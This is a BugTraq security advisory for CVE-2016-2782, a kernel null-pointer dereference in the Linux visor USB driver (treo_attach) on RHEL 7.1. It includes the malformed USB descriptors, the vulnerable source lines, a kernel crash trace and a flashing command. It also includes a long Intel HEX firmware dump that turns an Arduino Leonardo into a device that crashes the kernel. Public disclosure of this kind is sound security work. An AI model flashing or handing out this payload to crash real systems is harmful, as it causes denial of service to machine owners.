BugTraq
OS-S 2016-10 Linux visor (treo_attach) Nullpointer Dereference CVE-2016-2782 Mar 09 2016 11:04AM
Ralf Spenneberg (ralf os-t de)
OS-S Security Advisory 2016-10
Linux visor (treo_attach) Nullpointer Dereference

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: CVE-2016-2782
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on invalid
USB device descriptors (visor treo_attach driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net/advisories/OSS-2016-10_visor_treo_attach.pdf

Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB
device requiring the visor (treo_attach) driver.

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.

Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo
(github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor
bLength: 0x12
bDescriptorType: 0x1
bcdUSB: 0x200
bDeviceClass: 0x3
bDeviceSubClass: 0x0
bDeviceProtocol: 0x0
bMaxPacketSize: 0x40
idVendor: 0x82d
idProduct: 0x200
bcdDevice: 0x100
iManufacturer: 0x1
iProduct: 0x2
iSerialNumbers: 0x3
bNumConfigurations: 0x1

The treo_attach function does not use the num_ports (struct usb_serial) value
for any kind of sanity checks during the initialization process. Due to an
incomplete sanity check, the driver could try to dereference a null-pointer if
a malformed device-descriptor is presented (zero-value for bNumEndpoints or no
required endpoint-descriptors is provided).
This results in a crash of the system.

****
...
554 #define COPY_PORT(dest, src) 555 do { 556 int i; 557 558 for (i = 0; i < ARRAY_SIZE(src->read_urbs); ++i) { 559 dest->read_urbs[i] = src->read_urbs[i]; \ /* Possible
Nullpointer-Dereference */
560 dest->read_urbs[i]->context = dest; 561 dest->bulk_in_buffers[i] = src->bulk_in_buffers[i]; 562 } 563 dest->read_urb = src->read_urb; 564 dest->bulk_in_endpointAddress = src->bulk_in_endpointAddress;565 dest->bulk_in_buffer = src->bulk_in_buffer; 566 dest->bulk_in_size = src->bulk_in_size; 567 dest->interrupt_in_urb = src->interrupt_in_urb; 568 dest->interrupt_in_urb->context = dest; 569 dest->interrupt_in_endpointAddress = 570 src->interrupt_in_endpointAddress;571 dest->interrupt_in_buffer = src->interrupt_in_buffer; 572 } while (0);
573
574 swap_port = kmalloc(sizeof(*swap_port), GFP_KERNEL);
575 if (!swap_port)
576 return -ENOMEM;
577 COPY_PORT(swap_port, serial->port[0]); /* no sanity-check! */
578 COPY_PORT(serial->port[0], serial->port[1]); /* no sanity-check! */
579 COPY_PORT(serial->port[1], swap_port); /* no sanity-check! */
...
****

[*] Configuration-Descriptor
bLength: 0x9
bDescriptorType: 0x2
wTotalLength: 0x27
bNumInterfaces: 0x1
bConfigurationValue: 0x1
iConfiguration: 0x0
bmAttributes: 0x0
bMaxPower: 0x31
[*] Interface-Descriptor
bLength: 0x9
bDescriptorType: 0x4
bInterfaceNumber: 0x0
bAlternateSetting: 0x0
bNumEndpoints: 0x3
bInterfaceClass: 0x0
bInterfaceSubClass: 0x0
bInterfaceProtocol: 0x0
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x81
bmAttribut: 0x3
wMaxPacketSize: 0x404
bInterval: 0xc
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x1
bmAttribut: 0x2
wMaxPacketSize: 0x4
bInterval: 0xc
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x82
bmAttribut: 0x1
wMaxPacketSize: 0x4
bInterval: 0xc

Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This
firmware will emulate the defective USB device.

avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U
flash:w:binary.hex

The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to
connect port D3 and 3V3!

Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,
only physical access to the system is required.

Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
This bug was fixed upstream. A CVE number was not assigned.

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283374
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?i
d=cac9b50b0d75a1d50d6c056ff65c005f3224c8e0

Kernel Stacktrace:

[ 35.176832] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 35.400183] usb 1-1: New USB device found, idVendor=082d, idProduct=0200
[ 35.407780] usb 1-1: New USB device strings: Mfr=1, Product=2,
SerialNumber=3
[ 35.417186] usb 1-1: Product: Ä?
[ 35.421846] usb 1-1: Manufacturer: Ä?
[ 35.425686] usb 1-1: SerialNumber: %
[ 35.438608] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc
says 96 microframes
[ 35.493316] usbcore: registered new interface driver visor
[ 35.503150] usbserial: USB Serial support registered for Handspring Visor /
Palm OS
[ 35.512980] usbserial: USB Serial support registered for Sony Clie 5.0
[ 35.521056] usbserial: USB Serial support registered for Sony Clie 3.5
[ 35.535245] visor 1-1:1.0: Handspring Visor / Palm OS converter detected
[ 35.542409] BUG: unable to handle kernel NULL pointer dereference at
00000000000000b0
[ 35.543244] IP: [<ffffffffa0393651>] treo_attach+0x61/0x340 [visor]
[ 35.543244] PGD 0
[ 35.543244] Oops: 0002 [#1] SMP
[ 35.543244] Modules linked in: visor(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT
xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables
ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle
ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat
nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack
iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm
ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4
i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif
cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy
dm_mirror dm_region_hash dm_log dm_mod
[ 35.543244] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted
3.10.0-229.14.1.el7.x86_64 #1
[ 35.543244] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[ 35.543244] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[ 35.543244] RIP: 0010:[<ffffffffa0393651>] [<ffffffffa0393651>]
treo_attach+0x61/0x340 [visor]
[ 35.543244] RSP: 0018:ffff88000bd23a78 EFLAGS: 00010286
[ 35.543244] RAX: ffff88000003c000 RBX: ffff88000af979c0 RCX: 000000000000a0e2
[ 35.543244] RDX: 0000000000000000 RSI: 00000000000000d0 RDI: ffff88000e401400
[ 35.543244] RBP: ffff88000bd23a80 R08: 00000000000164c0 R09: ffff88000e401400
[ 35.543244] R10: ffffffffa0393636 R11: ffff88000bcd0000 R12: 0000000000000404
[ 35.543244] R13: ffff88000be6b000 R14: ffff88000af979c0 R15: ffffffffa0395400
[ 35.543244] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)
knlGS:0000000000000000
[ 35.543244] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 35.543244] CR2: 00000000000000b0 CR3: 000000000c51f000 CR4:
00000000000006f0
[ 35.543244] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
[ 35.543244] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 35.543244] Stack:
[ 35.543244] ffff88000bcd0090 ffff88000bd23c18 ffffffff8145fed1 0000000000000007
[ 35.543244] 000000020bd23af8 ffff88000c525830 0000000100000000 ffffffffa0395400
[ 35.543244] 0000010000000001 ffff88000bcd0000 0000000000000100
ffff88000bcd0090
[ 35.543244] Call Trace:
[ 35.543244] [<ffffffff8145fed1>] usb_serial_probe+0xdb1/0x1230
[ 35.543244] [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0
[ 35.543244] [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0
[ 35.543244] [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0
[ 35.543244] [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100
[ 35.543244] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[ 35.543244] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 35.543244] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 35.543244] [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[ 35.543244] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 35.543244] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 35.543244] [<ffffffff8145ec4b>] usb_serial_register_drivers+0x29b/0x580
[ 35.543244] [<ffffffffa0398000>] ? 0xffffffffa0397fff
[ 35.543244] [<ffffffffa039801e>] usb_serial_module_init+0x1e/0x1000 [visor]
[ 35.543244] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[ 35.543244] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[ 35.543244] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 35.543244] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[ 35.543244] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[ 35.543244] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[ 35.543244] Code: e1 ba 50 05 00 00 be d0 00 00 00 e8 4a 84 e1 e0 48 85 c0
0f 84 e1 02 00 00 48 8b 53 20 48 8b 92 b8 01 00 00 48 89 90 b8 01 00 00 <48>
89 82 b0 00 00 00 48 8b 53 20 48 8b 92 a8 01 00 00 48 89 90
[ 35.543244] RIP [<ffffffffa0393651>] treo_attach+0x61/0x340 [visor]
[ 35.543244] RSP <ffff88000bd23a78>
[ 35.543244] CR2: 00000000000000b0
[ 35.973188] ---[ end trace b239663354a1c556 ]---
[ 35.978862] Kernel panic - not syncing: Fatal exception
[ 35.979835] drm_kms_helper: panic occurred, switching back to text console

Arduino Leonardo Firmware:

:100000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C94C4050C942F04CA
:100030000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C940E02C1
:100060000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C5000B030E0302
:1000B000010305032F032F032F03120316031A0353
:1000C000200324032F032A030000000200080E006F
:1000D00000030401000B000000000000000000000D
:1000E00000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:100100001020404004040404040304050202020217
:1001100004030202020206060606060604040202A0
:100120000204000000002300260029002C002F00FC
:1001300000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E4EDF3E102C005900D92A436B107D1
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
:10018000E1F70E94C8000C9404070C940000089545
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBF0FBECDBF0E94A1020E94C70060E06B
:1001B00083E00E94300361E087E00E94300361E049
:1001C00088E00E9430030E9459067E012AE9E20E6F
:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
:100210008A95E1F782E1ECE4F1E0DE01DB96019002
:100220000D928A95E1F789E0EEE5F1E0DE01A05953
:10023000BF4F01900D928A95E1F72A593F4F99E0FF
:10024000992ED901E92D1D92EA95E9F78E010957FA
:100250001F4F87E0E7E6F1E0D80101900D928A9503
:10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189
:1002700001900D928A95E1F7AE0147585F4F87E0F4
:10028000E5E7F1E0DA0101900D928A95E1F75E0170
:10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D
:1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172
:1002B0001D92EA95E9F7E3E0DC011996EC93D90188
:1002C0009C92F4E01196FC9311971496EC93F9012B
:1002D000DC01292D01900D922A95E1F7FE01EC56E3
:1002E000FF4FDC011B96FC93EE931A971D96BC9270
:1002F000AE921C971183008373836283558344837A
:100300000C5211092CE0F80111922A95E9F721E02D
:10031000D80119962C931997FE01E059FF4F0190CF
:100320000D929A94E1F7F8019387828761E088E063
:100330000E9469038BE492E00E94650688E892E0DF
:100340000E94650687EC92E00E94650686E093E0D5
:100350000E94650682E493E00E9465068FE793E0C1
:100360000E94650684EA93E00E9465068BEE93E0A6
:100370000E94650683E00E949F03892B09F047C015
:100380005E01F3E2AF0EB11C8824839482E1982EC3
:1003900084E194E00E946506BF92AF92DF92CF9213
:1003A000FF92EF921F928F921F930F932DB73EB73C
:1003B000225131090FB6F8943EBF0FBE2DBFADB725
:1003C000BEB71196FE01FB96892D01900D928A957C
:1003D000E1F78DE695E00E94030668E873E180E0AE
:1003E00090E00E947B028DE695E00E944E0660E060
:1003F00087E00E94690368E873E180E090E00E9472
:100400007B020FB6F894DEBF0FBECDBFC1CF6AE04E
:1004100070E080E090E00E947B02ACCF1F920F92D0
:100420000FB60F9211242F933F938F939F93AF9307
:10043000BF938091650590916605A0916705B09185
:1004400068053091640523E0230F2D3720F40196D1
:10045000A11DB11D05C026E8230F0296A11DB11DE7
:10046000209364058093650590936605A0936705C6
:10047000B09368058091690590916A05A0916B051C
:10048000B0916C050196A11DB11D809369059093F3
:100490006A05A0936B05B0936C05BF91AF919F91D6
:1004A0008F913F912F910F900FBE0F901F90189535
:1004B0003FB7F8948091690590916A05A0916B050A
:1004C000B0916C0526B5A89B05C02F3F19F0019689
:1004D000A11DB11D3FBF6627782F892F9A2F620F6C
:1004E000711D811D911D42E0660F771F881F991FA6
:1004F0004A95D1F70895CF92DF92EF92FF92CF9372
:10050000DF936B017C010E945802EB01C114D104FE
:10051000E104F10479F00E9458026C1B7D0B683EE7
:100520007340A0F381E0C81AD108E108F108C8516E
:10053000DC4FECCFDF91CF91FF90EF90DF90CF9029
:100540000895789484B5826084BD84B5816084BD4B
:1005500085B5826085BD85B5816085BDEEE6F0E03C
:10056000808181608083E1E8F0E010828081826098
:100570008083808181608083E0E8F0E08081816019
:100580008083E1E9F0E08081826080838081816006
:100590008083E0E9F0E0808181608083E1ECF0E03D
:1005A000808184608083808182608083808181609B
:1005B0008083E3ECF0E0808181608083E0ECF0E018
:1005C000808182608083E2ECF0E0808181608083C2
:1005D000EAE7F0E0808184608083808182608083AC
:1005E000808181608083808180688083089590E02D
:1005F000FC013197EE30F10590F5EA5AFF4F0C946B
:10060000AB09809180008F7703C0809180008F7D3F
:1006100080938000089584B58F7702C084B58F7D64
:1006200084BD0895809190008F7707C080919000DD
:100630008F7D03C080919000877F80939000089504
:100640008091C0008F7703C08091C0008F7D809320
:10065000C00008958091C200877F8093C2000895F2
:10066000CF93DF9390E0FC01EA51FF4F2491FC010E
:10067000EC5FFE4F8491882349F190E0880F991F29
:10068000FC01E25CFE4FA591B491805D9E4FFC01A0
:10069000C591D4919FB7611108C0F8948C912095B1
:1006A00082238C93888182230AC0623051F4F894AB
:1006B0008C91322F309583238C938881822B888371
:1006C00004C0F8948C91822B8C939FBFDF91CF91C3
:1006D00008950F931F93CF93DF931F92CDB7DEB78B
:1006E000282F30E0F901E853FF4F8491F901EA51D6
:1006F000FF4F1491F901EC5FFE4F04910023C9F004
:10070000882321F069830E94F7026981E02FF0E0DD
:10071000EE0FFF1FE05DFE4FA591B4919FB7F894D7
:100720008C91611103C01095812301C0812B8C93A2
:100730009FBF0F90DF91CF911F910F910895CF939D
:10074000DF93282F30E0F901E853FF4F8491F9013E
:10075000EA51FF4FD491F901EC5FFE4FC491CC23D5
:1007600091F081110E94F702EC2FF0E0EE0FFF1FD5
:10077000EE5DFE4FA591B4912C912D2381E090E088
:1007800021F480E002C080E090E0DF91CF910895F5
:10079000615030F02091F100FC0120830196F8CFE8
:1007A000289884E680937D0508951092E9001092C0
:1007B00071051092700590936F0580936E050895F2
:1007C000FF920F931F93CF93DF93F82E8B01EA01D3
:1007D000BA01C8010E94A606F80120E030E08EEFC1
:1007E0002C173D0791F1F7FE02C0A49101C0A08132
:1007F000609170057091710540916E0550916F0583
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:1008200071051196AF73BB27AB2B11F48093E800D1
:10083000A0917005B09171051196B0937105A093C8
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:100850009FEFDF91CF911F910F91FF9008951F920D
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:10087000AF92BF92CF92DF92EF92FF920F931F93AE
:100880002F933F934F935F936F937F938F939F9398
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:1008A0006297DEBFCDBF1092E9008091E80083FF20
:1008B00046C168E0CE010A960E94C80382EF809389
:1008C000E8009A8597FF05C08091E80080FFFCCF83
:1008D00003C08EEF8093E800892F807609F023C152
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:1008F000282F2D7F213009F41BC1853049F48091C8
:10090000E80080FFFCCF8C8580688093E30010C1F5
:10091000863009F0E1C02D8508891989223009F057
:10092000B3C0EC848E2D90E0209173053091740556
:10093000821793070CF09FC00E94D5031F92EF927D
:100940008DE394E09F938F930E9483068CE0E89E52
:1009500070011124E0917505F0917605EE0DFF1DF3
:1009600089E0DE01119601900D928A95E1F7C801A8
:100970000E94D50349E050E0BE016F5F7F4F80E0E9
:100980000E94E0030F900F900F900F90C12CD12C7C
:10099000612C712C33E7A32E34E0B32E4AEA842E67
:1009A00044E0942EE0917505F0917605EE0DFF1D63
:1009B000818590E0681679060CF0BAC07F926F923C
:1009C000BF92AF920E948306E0917505F091760583
:1009D000EE0DFF1D628573856C0D7D1D49E050E0B5
:1009E00080E00E94E0030F900F900F900F9000E0C6
:1009F00010E0E0917505F0917605EE0DFF1D028483
:100A0000F385E02DEC0DFD1D818590E00817190799
:100A10005CF51F930F939F928F920E948306E09143
:100A20007505F0917605EE0DFF1D0284F385E02D2E
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